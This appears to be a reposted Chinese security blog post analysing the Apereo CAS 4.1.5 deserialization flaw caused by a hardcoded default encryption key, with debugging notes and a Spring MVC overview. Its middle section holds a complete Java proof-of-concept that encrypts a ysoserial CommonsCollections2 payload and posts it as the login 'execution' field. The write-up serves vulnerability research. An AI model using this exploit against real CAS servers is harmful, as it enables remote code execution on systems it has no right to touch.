Apereo CAS 反序列化漏洞

这个漏洞最早来自:
https://apereo.github.io/2016/04/08/commonsvulndisc/
没有CVE编号。

漏洞的成因是因为key的默认硬编码。

cas-server-webapp-4.1.5\WEB-INF\lib\spring-webflow-client-repo-1.0.0.jar!\etc\keystore.jceks
在这里插入图片描述

加解密相关的配置会先去配置文件中获取,没有配置密钥信息的会使用jar包默认的密钥信息(默认keystore文件位于spring-webflow-client-repo-1.0.0.jar包当中)。
由于cas默认配置文件中没有对密钥进行配置,导致我们可以用spring-webflow-client-repo这个jar包中默认的密钥加密序列化数据进行攻击。

参考:
https://www.00theway.org/2020/01/04/apereo-cas-rce/

下载cas-4.1.5
放到tomcat的webapps目录下,自动解压。
运行成功之后返回登陆页面:
在这里插入图片描述

登陆的接口发现有一个execution参数:
在这里插入图片描述
直接base64并没有得到有意义的字符:
在这里插入图片描述

在这里:
org/springframework/webflow/mvc/servlet/FlowHandlerAdapter#handle开始处理,
对于没有execution(GET login页面准备生成时)和已有execution时的两种处理方式:
在这里插入图片描述
然后

String flowExecutionKey = this.flowUrlHandler.getFlowExecutionKey(request);

拿到execution这个key,
在这里插入图片描述
继续对这个key进行解析:
在这里插入图片描述
进入真正解析的地方:
在这里插入图片描述
这里的解析方式表明_前面是一个uuid,_后面是base64编码的flow state?
UUID:
在这里插入图片描述

在解码的时候
org/jasig/spring/webflow/plugin/EncryptedTranscoder#decode(byte[] encoded)
有一个readObject操作:
在这里插入图片描述
还原出来的state是这样:
在这里插入图片描述
但是如何构造这个序列化的请求呢?

由于解密是在org/jasig/spring/webflow/plugin/EncryptedTranscoder#decode(byte[] encoded)
这里,于是考虑在其encode方法下断点,重新刷新login页面,这里序列化这个execution字段的时候应该会用到encode将这个值返回给客户端,等待期登陆的时候带上。
在这里插入图片描述

decode代码(缩略版):

public Object decode(byte[] encoded) throws IOException{
// 先AES解密,然后readObject
	byte[] data = this.cipherBean.decrypt(encoded);
	ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
	ObjectInputStream in = new ObjectInputStream(new GZIPInputStream(inBuffer));
	var5 = in.readObject();
	in.close();
	return var5;
}

encode代码(缩略版):

// 将传入的Object使用AES加密,然后writeObject
public byte[] encode(Object o) throws IOException {
	ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
	ObjectOutputStream out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
	out.writeObject(o);
	out.close();
	return this.cipherBean.encrypt(outBuffer.toByteArray());

在encode下断点之后,追踪这个序列化数据的流程:
org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository#getKey(FlowExecution execution)

return new ClientFlowExecutionKey(this.transcoder.encode(new ClientFlowExecutionRepository.SerializedFlowExecutionState(execution)));

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

PoC构造

由于CAS的WEB-INF/lib下刚好有commons-collections包,所以可以使用ysoserial的CommonsCollections2这个gadget进行反序列化攻击。
在这里插入图片描述

// 依赖CAS自带的包
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.jasig.spring.webflow.plugin.EncryptedTranscoder;
import org.cryptacular.util.CodecUtil;

// 依赖ysoserial
import ysoserial.payloads.ObjectPayload;

// 发起请求
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.Consts;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.ResponseHandler;
import org.apache.http.HttpEntity;

import java.util.ArrayList;
import java.util.List;

public class PoC{
    public static void main(String[] args) throws Exception{
        String poc[] = {"CommonsCollections2", "calc"};
        final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);

        // AES加密
        EncryptedTranscoder transcoder = new EncryptedTranscoder();
        byte[] aesEncoded = transcoder.encode(payloadObject);
        // base64加密
        String b64Encoded = CodecUtil.b64(aesEncoded);
        System.out.println(b64Encoded);

        // 使用一个已有的UUID与生成的payload构造成一个execution
        String exection = "81d2df90-90c4-4ae9-a48f-ad254bb43903_" + b64Encoded;

        // 通过HttpClient发送PoC
        sendPoC(exection);
    }

    /*
     * 实际上只需要提交这两个字段即可:
     * lt(即loginTicket),execution
     * 参考:https://memorynotfound.com/apache-httpclient-html-form-post-example/
     */
    public static void sendPoC(String execution)throws Exception {


        List<NameValuePair> form = new ArrayList<>();
        form.add(new BasicNameValuePair("lt", "LT-1-nHNSOYJzpyCmngDyq9rl9TtS3rNQte-cas01.example.org"));
        form.add(new BasicNameValuePair("execution", execution));
        UrlEncodedFormEntity entity = new UrlEncodedFormEntity(form, Consts.UTF_8);


        // 构造HttpPost
        HttpPost httpPost = new HttpPost("http://cqq.com:8088/cas-server-webapp-4.1.5/login");
        httpPost.setEntity(entity);

        // 构造HTTP响应处理器
        ResponseHandler<String> responseHandler = response -> {
            int status = response.getStatusLine().getStatusCode();
            if (status >= 200 && status < 300) {
                HttpEntity responseEntity = response.getEntity();
                return responseEntity != null ? EntityUtils.toString(responseEntity) : null;
            } else {
                throw new ClientProtocolException("Unexpected response status: " + status);
            }
        };

        // 使用HttpClient执行POST方法
        CloseableHttpClient httpclient = HttpClients.createDefault();
        String responseBody = httpclient.execute(httpPost, responseHandler);
        System.out.println(responseBody);
    }
}

在这里插入图片描述
注:如果放到burp中发请求,需要使用url encode key characteres(将特殊符号进行url编码),或者all characteres也可以。

查找CAS加载这个硬编码的秘钥的地方

猜想CAS应该在请求到来之前,Spring启动的时候就已经加载了硬编码的秘钥,因此可以尝试调试Spring启动CAS的过程。

由于一般使用调试的命令是

server=y,suspend=n

server=y是肯定的;
suspend=n用来告知 JVM 立即执行,不要等待未来将要附着上/连上(attached)的调试者。
suspend=y, 则应用将暂停不运行,直到有调试者连接上。

参考:https://www.jianshu.com/p/d168ecdce022

在解析了execution之后,又会生成新的execution,联想到最近的.NET的viewState的反序列化漏洞,所以在测试的时候可以留意一下csrf token之类的是否存在反序列化的问题。
在这里插入图片描述

Spring MVC

参考:
https://yemengying.com/2017/10/07/spring-dispatcherServlet/

借此机会也学习一下Spring MVC的架构。还是先从web.xml看起,

在这里插入图片描述

Spring MVC的关键角色是DispatcherServlet(org.springframework.web.servlet.DispatcherServlet),是MVC中的C,即Controller角色。所有的HTTP请求都会先经过这个类,然后再由它分发给具体的Controller(注解有@Controller的类)
在这里插入图片描述

当 DispatcherServlet 被配置为 load-on-startup = 1,意味着该 servlet 会在启动时由容器创建,而不是在请求到达时。这样做会降低第一次请求的响应时间,因为DispatcherServlet 会在启动时做大量工作,包括扫描和查找所有的 @Controller 和 @RequestMapping 注解的类。

在 DispatcherServlet 初始化期间,Spring 框架会在 WEB-INF 文件夹中查找名为 [servlet-name]-servlet.xml 的文件,并创建相应的 bean。比如,如果 servlet 像上面 web.xml 文件中配置的一样,名为 “SpringMVC”,那么会查找 “SpringMVC-servlet.xml”的文件。

由于这里的servlet-name配置为cas,所以会在WEB-INF目录下查找cas-servlet.xml文件:

在这里插入图片描述

参考

  • https://github.com/Curz0n/curz0n.github.io/blob/351539f9f744e72b484ebf19a26bfac2ecf8ee03/_posts/2020-01-17-apereo_cas_deserialize.md
  • https://xz.aliyun.com/t/7032
  • https://www.anquanke.com/post/id/198842
  • https://www.freebuf.com/vuls/226149.html
发布了619 篇原创文章 · 获赞 107 · 访问量 105万+

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/104943640